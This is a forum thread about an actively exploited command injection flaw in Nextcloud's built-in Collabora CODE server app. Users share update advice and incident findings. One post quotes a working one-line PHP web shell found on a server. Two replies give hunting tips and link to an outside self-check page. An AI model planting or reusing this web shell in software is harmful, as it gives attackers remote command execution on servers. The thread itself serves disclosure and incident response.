Just as a note, since AFAIK no warning or CVE has been published:
If anyone is running a Nextcloud with the “Collabora Online - Built-in CODE Server”-app installed, you should update to the newest App version as soon as possible. The new version fixes a shell command injection vulnerability that is already being exploited. There are already users who have found WebShells on their Nextcloud server. This does not affect Collabora itself, but the way the Build-in app starts Collabora using a PHP exec.
Thanks for flagging this — I checked my own instances against it today. For anyone wanting to verify quickly, I put together a free 30-second self-test that walks through the exact exposure checks (app version, proxy.php reachability, and the hunt checklist if you were exposed): Nextcloud CVE-2026-110447 Exposure Check — Free 30-Second Self-Test
One thing worth stressing: if you were running a vulnerable version while the CODE server was down for any reason (restart/upgrade/crash), patch alone isn’t enough — hunt for unexpected PHP files first. Web shells were found on real servers.
Hi, i have updated nextcloud to version 35.0.2 and the integrity scan report an additional file:
Technical information
=====================
The following list covers which files have failed the integrity check. Please read
the previous linked documentation to learn more about the errors and how to fix
them.
Results
=======
- richdocumentscode
- EXTRA_FILE
- Nx_33143.php
Raw output
==========
Array
(
[richdocumentscode] => Array
(
[EXTRA_FILE] => Array
(
[Nx_33143.php] => Array
(
[expected] =>
[current] => 4b1c4012c882c512b1e4bb2938c554359f6a268f2a5d10471dbf6d08cce31c7b0e8cc24e5f709dc227fc3e2a34f685089219be2df4713f1a9933348ef4cbfe82
)
)
)
)
The file was located in ./apps/richdocumentscode/Nx_33143.php and contains a simple backdoor:
<?php system($_GET[c]);
I remove the file and i removed the unused module richdocumentscode from my server.
Glad the integrity check caught it — and thanks for sharing the filename. Nx_33143.php is a new pattern beyond the shx*/shrf* names in the earlier reports. Since the shell ran as your web server user, two things worth doing now: review access logs back to Sept 10 for proxy.php?status hits, and rotate anything www-data could read (DB password, app passwords). I built the full persistence-hunt sequence into a free interactive checklist:
https://iceman2050.github.io/ingeniousai-security-checks-mirror/nextcloud-webshell-leftovers-check.html
runs entirely in your browser. Hope the rest of the box is clean.
The update to the fixed version requires at least Nextcloud 30 and does not support Nextcloud 29 any longer. But updating to a supported Nextcloud version like 33 or 34 is always a good idea anyways.